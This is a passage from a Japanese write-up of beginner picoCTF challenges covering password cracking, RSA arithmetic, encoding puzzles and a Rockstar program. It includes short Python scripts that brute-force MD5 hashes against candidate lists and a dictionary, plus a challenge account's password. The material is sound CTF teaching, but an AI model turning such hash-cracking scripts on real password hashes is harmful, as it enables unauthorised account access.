#extend key to secret length
new_key = key
i = 0
while len(new_key) < len(secret):
new_key = new_key + key[i]
i = (i + 1) % len(key)
return "".join([chr(ord(secret_c) ^ ord(new_key_c)) for (secret_c,new_key_c) in zip(secret,new_key)])
###############################################################################
flag_enc = open('level2.flag.txt.enc', 'rb').read()
def level_2_pw_check():
user_pw = input("Please enter correct password for flag: ")
if( user_pw == chr(0x34) + chr(0x65) + chr(0x63) + chr(0x39) ):
print("Welcome back... your flag, user:")
decryption = str_xor(flag_enc.decode(), user_pw)
print(decryption)
return
print("That password is incorrect")
level_2_pw_check()
chr(0x34) + chr(0x65) + chr(0x63) + chr(0x39)
というエンコードされたパスワードがハードコードされていた。
>>> chr(0x34) + chr(0x65) + chr(0x63) + chr(0x39)
'4ec9'
$ python3 level2.py
Please enter correct password for flag: 4ec9
Welcome back... your flag, user:
picoCTF{tr45h_51ng1ng_<REDACTED>}
PW Crack 3 (100points)
Pythonスクリプトlevel3.py
を解析し、暗号化されたファイルlevel3.flag.txt.enc
を復号してフラグを取得する問題。level3.hash.bin
というファイルも一緒に渡された。
以下はlevel3.py
の内容。
import hashlib
### THIS FUNCTION WILL NOT HELP YOU FIND THE FLAG --LT ########################
def str_xor(secret, key):
#extend key to secret length
new_key = key
i = 0
while len(new_key) < len(secret):
new_key = new_key + key[i]
i = (i + 1) % len(key)
return "".join([chr(ord(secret_c) ^ ord(new_key_c)) for (secret_c,new_key_c) in zip(secret,new_key)])
###############################################################################
flag_enc = open('level3.flag.txt.enc', 'rb').read()
correct_pw_hash = open('level3.hash.bin', 'rb').read()
def hash_pw(pw_str):
pw_bytes = bytearray()
pw_bytes.extend(pw_str.encode())
m = hashlib.md5()
m.update(pw_bytes)
return m.digest()
def level_3_pw_check():
user_pw = input("Please enter correct password for flag: ")
user_pw_hash = hash_pw(user_pw)
if( user_pw_hash == correct_pw_hash ):
print("Welcome back... your flag, user:")
decryption = str_xor(flag_enc.decode(), user_pw)
print(decryption)
return
print("That password is incorrect")
level_3_pw_check()
# The strings below are 7 possibilities for the correct password.
# (Only 1 is correct)
pos_pw_list = ["8799", "d3ab", "1ea2", "acaf", "2295", "a9de", "6f3d"]
スクリプトの中には以下の7つのパスワードがハードコードされていた。このうちの1つが正解のパスワードである。
- 8799
- d3ab
- 1ea2
- acaf
- 2295
- a9de
- 6f3d
level3.py
はlevel3.hash.bin
に記載されているMD5ハッシュ値とユーザーの入力したパスワードのMD5ハッシュ値が一致した場合、level3.flag.txt.enc
を復号する。
level3.hash.bin
には16026d60ff9b54410b3435b403afd226
というMD5ハッシュ値が記載されていた。
$ xxd level3.hash.bin
00000000: 1602 6d60 ff9b 5441 0b34 35b4 03af d226 ..m`..TA.45....&
7つのパスワードのMD5ハッシュ値を計算したところ、上記のハッシュ値と一致したパスワードは2295
だった。
$ echo -n "2295" | md5sum
16026d60ff9b54410b3435b403afd226 -
$ python3 level3.py
Please enter correct password for flag: 2295
Welcome back... your flag, user:
picoCTF{m45h_fl1ng1ng_<REDACTED>}
PW Crack 4 (100points)
Pythonスクリプトlevel4.py
を解析し、暗号化されたファイルlevel4.flag.txt.enc
を復号してフラグを取得する問題。level4.hash.bin
というファイルも一緒に渡された。
以下はlevel4.py
の内容。
import hashlib
### THIS FUNCTION WILL NOT HELP YOU FIND THE FLAG --LT ########################
def str_xor(secret, key):
#extend key to secret length
new_key = key
i = 0
while len(new_key) < len(secret):
new_key = new_key + key[i]
i = (i + 1) % len(key)
return "".join([chr(ord(secret_c) ^ ord(new_key_c)) for (secret_c,new_key_c) in zip(secret,new_key)])
###############################################################################
flag_enc = open('level4.flag.txt.enc', 'rb').read()
correct_pw_hash = open('level4.hash.bin', 'rb').read()
def hash_pw(pw_str):
pw_bytes = bytearray()
pw_bytes.extend(pw_str.encode())
m = hashlib.md5()
m.update(pw_bytes)
return m.digest()
def level_4_pw_check():
user_pw = input("Please enter correct password for flag: ")
user_pw_hash = hash_pw(user_pw)
if( user_pw_hash == correct_pw_hash ):
print("Welcome back... your flag, user:")
decryption = str_xor(flag_enc.decode(), user_pw)
print(decryption)
return
print("That password is incorrect")
level_4_pw_check()
# The strings below are 100 possibilities for the correct password.
# (Only 1 is correct)
pos_pw_list = ["158f", "1655", "d21e", "4966", "ed69", "1010", "dded", "844c", "40ab", "a948", "156c", "ab7f", "4a5f", "e38c", "ba12", "f7fd", "d780", "4f4d", "5ba1", "96c5", "55b9", "8a67", "d32b", "aa7a", "514b", "e4e1", "1230", "cd19", "d6dd", "b01f", "fd2f", "7587", "86c2", "d7b8", "55a2", "b77c", "7ffe", "4420", "e0ee", "d8fb", "d748", "b0fe", "2a37", "a638", "52db", "51b7", "5526", "40ed", "5356", "6ad4", "2ddd", "177d", "84ae", "cf88", "97a3", "17ad", "7124", "eff2", "e373", "c974", "7689", "b8b2", "e899", "d042", "47d9", "cca9", "ab2a", "de77", "4654", "9ecb", "ab6e", "bb8e", "b76b", "d661", "63f8", "7095", "567e", "b837", "2b80", "ad4f", "c514", "ffa4", "fc37", "7254", "b48b", "d38b", "a02b", "ec6c", "eacc", "8b70", "b03e", "1b36", "81ff", "77e4", "dbe6", "59d9", "fd6a", "5653", "8b95", "d0e5"]
スクリプトの中には以下の100個のパスワードがハードコードされており、このうちの1つが正解のパスワードである。
level4.py
はlevel4.hash.bin
に記載されているMD5ハッシュ値とユーザーの入力したパスワードのMD5ハッシュ値が一致した場合、level4.flag.txt.enc
を復号する。
level4.hash.bin
にはd3d58c4786a6a229427351500ac7abd7
というMD5ハッシュ値が記載されていた。
$ xxd level4.hash.bin
00000000: d3d5 8c47 86a6 a229 4273 5150 0ac7 abd7 ...G...)BsQP....
100個のパスワードのMD5ハッシュ値を手動で計算するのは大変なので、以下のスクリプトを書いて実行した。
import hashlib
pos_pw_list = ["158f", "1655", "d21e", "4966", "ed69", "1010", "dded", "844c", "40ab", "a948", "156c", "ab7f", "4a5f", "e38c", "ba12", "f7fd", "d780", "4f4d", "5ba1", "96c5", "55b9", "8a67", "d32b", "aa7a", "514b", "e4e1", "1230", "cd19", "d6dd", "b01f", "fd2f", "7587", "86c2", "d7b8", "55a2", "b77c", "7ffe", "4420", "e0ee", "d8fb", "d748", "b0fe", "2a37", "a638", "52db", "51b7", "5526", "40ed", "5356", "6ad4", "2ddd", "177d", "84ae", "cf88", "97a3", "17ad", "7124", "eff2", "e373", "c974", "7689", "b8b2", "e899", "d042", "47d9", "cca9", "ab2a", "de77", "4654", "9ecb", "ab6e", "bb8e", "b76b", "d661", "63f8", "7095", "567e", "b837", "2b80", "ad4f", "c514", "ffa4", "fc37", "7254", "b48b", "d38b", "a02b", "ec6c", "eacc", "8b70", "b03e", "1b36", "81ff", "77e4", "dbe6", "59d9", "fd6a", "5653", "8b95", "d0e5"]
correct_pw_hash = open('level4.hash.bin', 'rb').read()
def hash_pw(pw_str):
pw_bytes = bytearray()
pw_bytes.extend(pw_str.encode())
m = hashlib.md5()
m.update(pw_bytes)
return m.digest()
for pw in pos_pw_list:
passwd_hash = hash_pw(pw)
if (passwd_hash == correct_pw_hash):
print("Password is: " + str(pw))
break
$ python3 cracker.py
Password is: 8b95
正解のパスワードは8b95
と判明した。
$ python3 level4.py
Please enter correct password for flag: 8b95
Welcome back... your flag, user:
picoCTF{fl45h_5pr1ng1ng_<REDACTED>}
PW Crack 5 (100points)
Pythonスクリプトlevel5.py
を解析し、暗号化されたファイルlevel5.flag.txt.enc
を復号してフラグを取得する問題。level5.hash.bin
とdictionary.txt
というファイルも一緒に渡された。
以下はlevel5.py
の内容。
import hashlib
### THIS FUNCTION WILL NOT HELP YOU FIND THE FLAG --LT ########################
def str_xor(secret, key):
#extend key to secret length
new_key = key
i = 0
while len(new_key) < len(secret):
new_key = new_key + key[i]
i = (i + 1) % len(key)
return "".join([chr(ord(secret_c) ^ ord(new_key_c)) for (secret_c,new_key_c) in zip(secret,new_key)])
###############################################################################
flag_enc = open('level5.flag.txt.enc', 'rb').read()
correct_pw_hash = open('level5.hash.bin', 'rb').read()
def hash_pw(pw_str):
pw_bytes = bytearray()
pw_bytes.extend(pw_str.encode())
m = hashlib.md5()
m.update(pw_bytes)
return m.digest()
def level_5_pw_check():
user_pw = input("Please enter correct password for flag: ")
user_pw_hash = hash_pw(user_pw)
if( user_pw_hash == correct_pw_hash ):
print("Welcome back... your flag, user:")
decryption = str_xor(flag_enc.decode(), user_pw)
print(decryption)
return
print("That password is incorrect")
level_5_pw_check()
level5.py
はlevel5.hash.bin
に記載されているMD5ハッシュ値とユーザーの入力したパスワードのMD5ハッシュ値が一致した場合、level5.flag.txt.enc
を復号する。
dictionary.txt
には大量のパスワードが記載されており、このうちのひとつが正解のパスワードとなる。
$ wc -l dictionary.txt
65536 dictionary.txt
$ head dictionary.txt
0000
0001
0002
0003
0004
0005
0006
0007
0008
0009
以下のスクリプトを書いて実行し、パスワードを取得した。
import hashlib
correct_pw_hash = open('level5.hash.bin', 'rb').read()
def hash_pw(pw_str):
pw_bytes = bytearray()
pw_bytes.extend(pw_str.encode())
m = hashlib.md5()
m.update(pw_bytes)
return m.digest()
with open('dictionary.txt', 'r') as f:
for pw in f:
pw = pw.rstrip() # remove the trailing newline
passwd_hash = hash_pw(pw)
#print(passwd_hash)
if (correct_pw_hash == passwd_hash):
print('Password is: ' + str(pw))
break
$ python3 cracker.py
Password is: eee0
パスワードはeee0
だった。
$ python3 level5.py
Please enter correct password for flag: eee0
Welcome back... your flag, user:
picoCTF{h45h_sl1ng1ng_<REDACTED>}
runme.py (100points)
$ grep -i pico runme.py
flag ='picoCTF{run_s4n1ty_<REDACTED>}'
Serpentine (100points)
Pythonスクリプトserpentine.py
を解析してフラグを取得する問題。
以下はserpentine.py
の内容。
import random
import sys
def str_xor(secret, key):
#extend key to secret length
new_key = key
i = 0
while len(new_key) < len(secret):
new_key = new_key + key[i]
i = (i + 1) % len(key)
return "".join([chr(ord(secret_c) ^ ord(new_key_c)) for (secret_c,new_key_c) in zip(secret,new_key)])
flag_enc = chr(0x15) + chr(0x07) + chr(0x08) + chr(0x06) + chr(0x27) + chr(0x21) + chr(0x23) + chr(0x15) + chr(0x5c) + chr(0x01) + chr(0x57) + chr(0x2a) + chr(0x17) + chr(0x5e) + chr(0x5f) + chr(0x0d) + chr(0x3b) + chr(0x19) + chr(0x56) + chr(0x5b) + chr(0x5e) + chr(0x36) + chr(0x53) + chr(0x07) + chr(0x51) + chr(0x18) + chr(0x58) + chr(0x05) + chr(0x57) + chr(0x11) + chr(0x3a) + chr(0x0f) + chr(0x0a) + chr(0x5b) + chr(0x57) + chr(0x41) + chr(0x55) + chr(0x0c) + chr(0x59) + chr(0x14)
def print_flag():
flag = str_xor(flag_enc, 'enkidu')
print(flag)
def print_encouragement():
encouragements = ['You can do it!', 'Keep it up!',
'Look how far you\'ve come!']
choice = random.choice(range(0, len(encouragements)))
print('\n-----------------------------------------------------')
print(encouragements[choice])
print('-----------------------------------------------------\n\n')
def main():
print(
'''
Y
.-^-.
/ \ .- ~ ~ -.
() () / _ _ `. _ _ _
\_ _/ / / \ \ . ~ _ _ ~ .
| | / / \ \ .' .~ ~-. `.
| | / / ) ) / / `.`.
\ \_ _/ / / / / / `'
\_ _ _.' / / ( (
/ / \ \\
/ / \ \\
/ / ) )
( ( / /
`. `. .' /
`. ~ - - - - ~ .'
~ . _ _ _ _ . ~
'''
)
print('Welcome to the serpentine encourager!\n\n')
while True:
print('a) Print encouragement')
print('b) Print flag')
print('c) Quit\n')
choice = input('What would you like to do? (a/b/c) ')
if choice == 'a':
print_encouragement()
elif choice == 'b':
print('\nOops! I must have misplaced the print_flag function! Check my source code!\n\n')
elif choice == 'c':
sys.exit(0)
else:
print('\nI did not understand "' + choice + '", input only "a", "b" or "c"\n\n')
if __name__ == "__main__":
main()
print_flag()
を呼び出すようにソースコードを書き換えればフラグを取れる。
main()
の直前にprint_flag()
を呼び出すように書き換えてスクリプトを実行したところ、フラグを取れた。
if __name__ == "__main__":
print_flag()
main()
$ python3 serpentine.py
picoCTF{7h3_r04d_l355_7r4v3l3d_<REDACTED>}
Y
.-^-.
/ \ .- ~ ~ -.
() () / _ _ `. _ _ _
\_ _/ / / \ \ . ~ _ _ ~ .
| | / / \ \ .' .~ ~-. `.
| | / / ) ) / / `.`.
\ \_ _/ / / / / / `'
\_ _ _.' / / ( (
/ / \ \
/ / \ \
/ / ) )
( ( / /
`. `. .' /
`. ~ - - - - ~ .'
~ . _ _ _ _ . ~
Welcome to the serpentine encourager!
a) Print encouragement
b) Print flag
c) Quit
What would you like to do? (a/b/c)
plumbing (200points)
$ nc jupiter.challenges.picoctf.org 7480 | grep -i pico
picoCTF{digital_plumb3r_<REDACTED>}
Based (200points)
以下のnetcatコマンドでサーバーに接続するように言われた。
nc jupiter.challenges.picoctf.org 29221
$ nc jupiter.challenges.picoctf.org 29221
Let us see how data is stored
container
Please give the 01100011 01101111 01101110 01110100 01100001 01101001 01101110 01100101 01110010 as a word.
...
you have 45 seconds.....
01100011 01101111 01101110 01110100 01100001 01101001 01101110 01100101 01110010
をデコードしろと言われた。これは2進数である。
>>> chr(int('01100011',2)) + chr(int('01101111',2)) + chr(int('01101110',2)) + chr(int('01110100',2)) + chr(int('01100001',2)) + chr(int('01101001',2)) + chr(int('01101110',2)) + chr(int('01100101',2)) + chr(int('01110010',2))
'container'
答えはcontainer
だった。(実はLet us see how data is stored
という文のすぐ下に答えが書いてあった。)
Please give the 01100011 01101111 01101110 01110100 01100001 01101001 01101110 01100101 01110010 as a word.
...
you have 45 seconds.....
Input:
container
Please give me the 143 157 156 164 141 151 156 145 162 as a word.
Input:
次に143 157 156 164 141 151 156 145 162
をデコードしろと言われた。これは8進数である。
>>> chr(int('143',8)) + chr(int('157',8)) + chr(int('156',8)) + chr(int('164',8)) + chr(int('141',8)) + chr(int('151',8)) + chr(int('156',8)) + chr(int('145',8)) + chr(int('162',8))
'container'
今回も答えはcontainer
だった。
Please give me the 143 157 156 164 141 151 156 145 162 as a word.
Input:
container
Please give me the 7375626d6172696e65 as a word.
次に7375626d6172696e65
をデコードしろと言われた。これは16進数である。
$ echo 7375626d6172696e65 | xxd -r -p
submarine
答えはsubmarine
だった。
Please give me the 7375626d6172696e65 as a word.
Input:
submarine
You've beaten the challenge
Flag: picoCTF{learning_about_converting_values_<REDACTED>}
フラグを取れた。
miniRSA (300points)
RSA暗号化されたフラグを復号する問題。
以下の値を元にフラグを復号する。
N: 29331922499794985782735976045591164936683059380558950386560160105740343201513369939006307531165922708949619162698623675349030430859547825708994708321803705309459438099340427770580064400911431856656901982789948285309956111848686906152664473350940486507451771223435835260168971210087470894448460745593956840586530527915802541450092946574694809584880896601317519794442862977471129319781313161842056501715040555964011899589002863730868679527184420789010551475067862907739054966183120621407246398518098981106431219207697870293412176440482900183550467375190239898455201170831410460483829448603477361305838743852756938687673
e: 3
ciphertext (c): 2205316413931134031074603746928247799030155221252519872650073010782049179856976080512716237308882294226369300412719995904064931819531456392957957122459640736424089744772221933500860936331459280832211445548332429338572369823704784625368933
以下のサイトにCとNとEの値を入力したところ、フラグを復号できた。
https://www.dcode.fr/rsa-cipher
rsa-pop-quiz (200points)
RSA暗号に関する出題に答えていってフラグを取得する問題。
$ nc jupiter.challenges.picoctf.org 58617
Good morning class! It's me Ms. Adleman-Shamir-Rivest
Today we will be taking a pop quiz, so I hope you studied. Cramming just will not do!
You will need to tell me if each example is possible, given your extensive crypto knowledge.
Inputs and outputs are in decimal. No hex here!
#### NEW PROBLEM ####
q : 60413
p : 76753
##### PRODUCE THE FOLLOWING ####
n
IS THIS POSSIBLE and FEASIBLE? (Y/N):
pとqからnを求められるか否か、求められる場合はnの値を答えよとのこと。
nは以下の式で求められる。
n = p * q
>>> 60413*76753
4636878989
答えは4636878989
。
IS THIS POSSIBLE and FEASIBLE? (Y/N):Y
#### TIME TO SHOW ME WHAT YOU GOT! ###
n: 4636878989
Outstanding move!!!
次の問題。
#### NEW PROBLEM ####
p : 54269
n : 5051846941
##### PRODUCE THE FOLLOWING ####
q
IS THIS POSSIBLE and FEASIBLE? (Y/N):
pとnからqを求められるか否か、求められる場合はqの値を答えよとのこと。
qは以下の式で求められる。
q = n / p
>>> 5051846941 / 54269
93089.0
答えは93089
。
IS THIS POSSIBLE and FEASIBLE? (Y/N):Y
#### TIME TO SHOW ME WHAT YOU GOT! ###
q: 93089
Outstanding move!!!
次の問題。
#### NEW PROBLEM ####
e : 3
n : 12738162802910546503821920886905393316386362759567480839428456525224226445173031635306683726182522494910808518920409019414034814409330094245825749680913204566832337704700165993198897029795786969124232138869784626202501366135975223827287812326250577148625360887698930625504334325804587329905617936581116392784684334664204309771430814449606147221349888320403451637882447709796221706470239625292297988766493746209684880843111138170600039888112404411310974758532603998608057008811836384597579147244737606088756299939654265086899096359070667266167754944587948695842171915048619846282873769413489072243477764350071787327913
##### PRODUCE THE FOLLOWING ####
q
p
IS THIS POSSIBLE and FEASIBLE? (Y/N):
上記のeとnの値からpとqを求められるか否か、求められる場合はpとqの値を答えよとのこと。
こちらのサイトでeとnの値を入力してpとqの値を求めようとしたが無理だった。
答えは否。
IS THIS POSSIBLE and FEASIBLE? (Y/N):N
Outstanding move!!!
次の問題。
#### NEW PROBLEM ####
q : 66347
p : 12611
##### PRODUCE THE FOLLOWING ####
totient(n)
IS THIS POSSIBLE and FEASIBLE? (Y/N):
pとqからtotient(n)を求められるか否か、求められる場合はtotient(n)の値を答えよとのこと。
こちらのサイトでpとqをもとにtotient(n)を計算した。答えは836623060
。
IS THIS POSSIBLE and FEASIBLE? (Y/N):Y
#### TIME TO SHOW ME WHAT YOU GOT! ###
totient(n): 836623060
Outstanding move!!!
次の問題。
#### NEW PROBLEM ####
plaintext : 6357294171489311547190987615544575133581967886499484091352661406414044440475205342882841236357665973431462491355089413710392273380203038793241564304774271529108729717
e : 3
n : 29129463609326322559521123136222078780585451208149138547799121083622333250646678767769126248182207478527881025116332742616201890576280859777513414460842754045651093593251726785499360828237897586278068419875517543013545369871704159718105354690802726645710699029936754265654381929650494383622583174075805797766685192325859982797796060391271817578087472948205626257717479858369754502615173773514087437504532994142632207906501079835037052797306690891600559321673928943158514646572885986881016569647357891598545880304236145548059520898133142087545369179876065657214225826997676844000054327141666320553082128424707948750331
##### PRODUCE THE FOLLOWING ####
ciphertext
IS THIS POSSIBLE and FEASIBLE? (Y/N):
平文とeとnをもとに暗号文を復元できるか否か、復元できる場合は暗号文を答えよとのこと。
暗号文は以下の式で求められる。
暗号文 = 平文のE乗 mod N
>>> e = 3
>>> n = 29129463609326322559521123136222078780585451208149138547799121083622333250646678767769126248182207478527881025116332742616201890576280859777513414460842754045651093593251726785499360828237897586278068419875517543013545369871704159718105354690802726645710699029936754265654381929650494383622583174075805797766685192325859982797796060391271817578087472948205626257717479858369754502615173773514087437504532994142632207906501079835037052797306690891600559321673928943158514646572885986881016569647357891598545880304236145548059520898133142087545369179876065657214225826997676844000054327141666320553082128424707948750331
>>>
>>> plain = 6357294171489311547190987615544575133581967886499484091352661406414044440475205342882841236357665973431462491355089413710392273380203038793241564304774271529108729717
>>>
>>>
>>> cipher = (plain ** e) % n
>>> cipher
256931246631782714357241556582441991993437399854161372646318659020994329843524306570818293602492485385337029697819837182169818816821461486018802894936801257629375428544752970630870631166355711254848465862207765051226282541748174535990314552471546936536330397892907207943448897073772015986097770443616540466471245438117157152783246654401668267323136450122287983612851171545784168132230208726238881861407976917850248110805724300421712827401063963117423718797887144760360749619552577176382615108244813
答えは256931246631782714357241556582441991993437399854161372646318659020994329843524306570818293602492485385337029697819837182169818816821461486018802894936801257629375428544752970630870631166355711254848465862207765051226282541748174535990314552471546936536330397892907207943448897073772015986097770443616540466471245438117157152783246654401668267323136450122287983612851171545784168132230208726238881861407976917850248110805724300421712827401063963117423718797887144760360749619552577176382615108244813
。
IS THIS POSSIBLE and FEASIBLE? (Y/N):Y
#### TIME TO SHOW ME WHAT YOU GOT! ###
ciphertext: 256931246631782714357241556582441991993437399854161372646318659020994329843524306570818293602492485385337029697819837182169818816821461486018802894936801257629375428544752970630870631166355711254848465862207765051226282541748174535990314552471546936536330397892907207943448897073772015986097770443616540466471245438117157152783246654401668267323136450122287983612851171545784168132230208726238881861407976917850248110805724300421712827401063963117423718797887144760360749619552577176382615108244813
Outstanding move!!!
次の問題。
#### NEW PROBLEM ####
ciphertext : 107524013451079348539944510756143604203925717262185033799328445011792760545528944993719783392542163428637172323512252624567111110666168664743115203791510985709942366609626436995887781674651272233566303814979677507101168587739375699009734588985482369702634499544891509228440194615376339573685285125730286623323
e : 3
n : 27566996291508213932419371385141522859343226560050921196294761870500846140132385080994630946107675330189606021165260590147068785820203600882092467797813519434652632126061353583124063944373336654246386074125394368479677295167494332556053947231141336142392086767742035970752738056297057898704112912616565299451359791548536846025854378347423520104947907334451056339439706623069503088916316369813499705073573777577169392401411708920615574908593784282546154486446779246790294398198854547069593987224578333683144886242572837465834139561122101527973799583927411936200068176539747586449939559180772690007261562703222558103359
##### PRODUCE THE FOLLOWING ####
plaintext
IS THIS POSSIBLE and FEASIBLE? (Y/N):
上記の暗号文とeとnをもとに平文を求められるか否か、求められる場合は平文を答えよとのこと。
こちらのサイトで暗号文とeとnの値を入力して平文を求めようとしたが無理だった。
答えは否。
IS THIS POSSIBLE and FEASIBLE? (Y/N):N
Outstanding move!!!
次の問題。
#### NEW PROBLEM ####
q : 92092076805892533739724722602668675840671093008520241548191914215399824020372076186460768206814914423802230398410980218741906960527104568970225804374404612617736579286959865287226538692911376507934256844456333236362669879347073756238894784951597211105734179388300051579994253565459304743059533646753003894559
p : 97846775312392801037224396977012615848433199640105786119757047098757998273009741128821931277074555731813289423891389911801250326299324018557072727051765547115514791337578758859803890173153277252326496062476389498019821358465433398338364421624871010292162533041884897182597065662521825095949253625730631876637
e : 65537
##### PRODUCE THE FOLLOWING ####
d
IS THIS POSSIBLE and FEASIBLE? (Y/N):
qとpとeをもとにdを求めれるか否か、求められる場合はdの値を答えよとのこと。
以下のスクリプトを実行してdの値を求めた。
Ref: https://pashango-p.hatenadiary.org/entry/20090706/1246897957
# get greatest common divisor
def gcd(a, b):
while b:
a, b = b, a%b
return a
# get least common multiple
def lcm(a, b):
return a * b // gcd(a,b) # use '//' instead of '/' to avoid the error "OverflowError: integer division result too large for a float"
# get d
'''
1 < d < l
e * d mod l = 1
'''
def get_d(a, b):
if b == 0:
u = 1
v = 0
else:
q = a // b # use '//' instead of '/' to avoid the error "OverflowError: integer division result too large for a float"
r = a % b
(u0, v0) = get_d(b, r)
u = v0
v = u0 - q * v0
return (u, v)
q = 92092076805892533739724722602668675840671093008520241548191914215399824020372076186460768206814914423802230398410980218741906960527104568970225804374404612617736579286959865287226538692911376507934256844456333236362669879347073756238894784951597211105734179388300051579994253565459304743059533646753003894559
p = 97846775312392801037224396977012615848433199640105786119757047098757998273009741128821931277074555731813289423891389911801250326299324018557072727051765547115514791337578758859803890173153277252326496062476389498019821358465433398338364421624871010292162533041884897182597065662521825095949253625730631876637
e = 65537
l = lcm((p - 1), (q - 1))
d = get_d(e, l)[0]
if d < 0:
d += l
print('d: ' + str(d))
$ python3 find-d.py
d: 1405046269503207469140791548403639533127416416214210694972085079171787580463776820425965898174272870486015739516125786182821637006600742140682552321645503743280670839819078749092730110549881891271317396450158021688253989767145578723458252769465545504142139663476747479225923933192421405464414574786272963741656223941750084051228611576708609346787101088759062724389874160693008783334605903142528824559223515203978707969795087506678894006628296743079886244349469131831225757926844843554897638786146036869572653204735650843186722732736888918789379054050122205253165705085538743651258400390580971043144644984654914856729
答えは1405046269503207469140791548403639533127416416214210694972085079171787580463776820425965898174272870486015739516125786182821637006600742140682552321645503743280670839819078749092730110549881891271317396450158021688253989767145578723458252769465545504142139663476747479225923933192421405464414574786272963741656223941750084051228611576708609346787101088759062724389874160693008783334605903142528824559223515203978707969795087506678894006628296743079886244349469131831225757926844843554897638786146036869572653204735650843186722732736888918789379054050122205253165705085538743651258400390580971043144644984654914856729
。
IS THIS POSSIBLE and FEASIBLE? (Y/N):Y
#### TIME TO SHOW ME WHAT YOU GOT! ###
d: 1405046269503207469140791548403639533127416416214210694972085079171787580463776820425965898174272870486015739516125786182821637006600742140682552321645503743280670839819078749092730110549881891271317396450158021688253989767145578723458252769465545504142139663476747479225923933192421405464414574786272963741656223941750084051228611576708609346787101088759062724389874160693008783334605903142528824559223515203978707969795087506678894006628296743079886244349469131831225757926844843554897638786146036869572653204735650843186722732736888918789379054050122205253165705085538743651258400390580971043144644984654914856729
Outstanding move!!!
次の問題。
#### NEW PROBLEM ####
p : 153143042272527868798412612417204434156935146874282990942386694020462861918068684561281763577034706600608387699148071015194725533394126069826857182428660427818277378724977554365910231524827258160904493774748749088477328204812171935987088715261127321911849092207070653272176072509933245978935455542420691737433
ciphertext : 15898528329836486259454280642537682745047492250031819804208947573732209296147142448425785475270839697919293976182333838349380319082449313123936042811917218253196274432195116911131311101664245124078266845291992250418272429673592762174381527121624558596357902629676671110003023710107905410987270486412752306303470410502366293287214002128769133995449197216690029130480234844827254205117539992852496638836353167147769854523276743309449394023887611024408163270210444112592577810624181267012402352918669635578760260278590557042623644240179185252741450067430771092134328724271261927055861090533852597204599189199436235384288
e : 65537
n : 23952937352643527451379227516428377705004894508566304313177880191662177061878993798938496818120987817049538365206671401938265663712351239785237507341311858383628932183083145614696585411921662992078376103990806989257289472590902167457302888198293135333083734504191910953238278860923153746261500759411620299864395158783509535039259714359526738924736952759753503357614939203434092075676169179112452620687731670534906069845965633455748606649062394293289967059348143206600765820021392608270528856238306849191113241355842396325210132358046616312901337987464473799040762271876389031455051640937681745409057246190498795697239
##### PRODUCE THE FOLLOWING ####
plaintext
IS THIS POSSIBLE and FEASIBLE? (Y/N):
pと暗号文とeとnの値をもとに平文を復号できるか否か、復号できる場合は平文を答えよとのこと。
こちらのサイトでpと暗号文とeとnの値を入力したところ、平文を復号できた。
復号された平文がフラグだった。
mus1c (300points)
以下の暗号文を復号してフラグを取得する問題。
Pico's a CTFFFFFFF
my mind is waitin
It's waitin
Put my mind of Pico into This
my flag is not found
put This into my flag
put my flag into Pico
shout Pico
shout Pico
shout Pico
My song's something
put Pico into This
Knock This down, down, down
put This into CTF
shout CTF
my lyric is nothing
Put This without my song into my lyric
Knock my lyric down, down, down
shout my lyric
Put my lyric into This
Put my song with This into my lyric
Knock my lyric down
shout my lyric
Build my lyric up, up ,up
shout my lyric
shout Pico
shout It
Pico CTF is fun
security is important
Fun is fun
Put security with fun into Pico CTF
Build Fun up
shout fun times Pico CTF
put fun times Pico CTF into my song
build it up
shout it
shout it
build it up, up
shout it
shout Pico
皆目見当がつかないので、早々にヒントを見た。
以下、ヒント。
Do you think you can master rockstar?
もしかしてrockstarという名前の暗号方式があるのか?と思い、「rockstar cipher」とググってみたところ、こちらのオンラインデコーダーに辿り着いた。(Rockstarは正確には暗号方式ではなく、プログラミング言語のこと)
デコーダーに暗号文 ソースコードを入力したところ、以下が現れた。
114
114
114
111
99
107
110
114
110
48
49
49
51
114
恐らくasciiコードと思われる。
以下のスクリプトでasciiコードをデコードしたところ、フラグを取れた。
enc_flag = [114, 114, 114, 111, 99, 107, 110, 114, 110, 48, 49, 49, 51, 114]
flag = ''
for i in enc_flag:
flag += chr(int(i))
print(flag)
money-ware (100points)
ビットコインアドレス1Mz7153HMuxXTuR2R1t78mGSdzaAtNbBWX
に関係しているマルウェアの名前を答えよとのこと。ビットコインアドレスをググると、Petyaランサムウェアと関係していることがすぐに分かる。
Permissions (100points)
以下のsshコマンドでサーバーに接続し、rootにあるファイルを開けとのこと。
ssh -p 58589 picoplayer@saturn.picoctf.net
ルートディレクトリ (/
) に移動するとchallenge
というサブディレクトリがあり、その中にmetadata.json
というファイルがあった。このファイルにフラグが記載されていた。
picoplayer@challenge:/$ cat challenge/metadata.json
{"flag": "picoCTF{uS1ng_v1m_3dit0r_<REDACTED>}", "username": "picoplayer", "password": "x+T6aPgE4-"}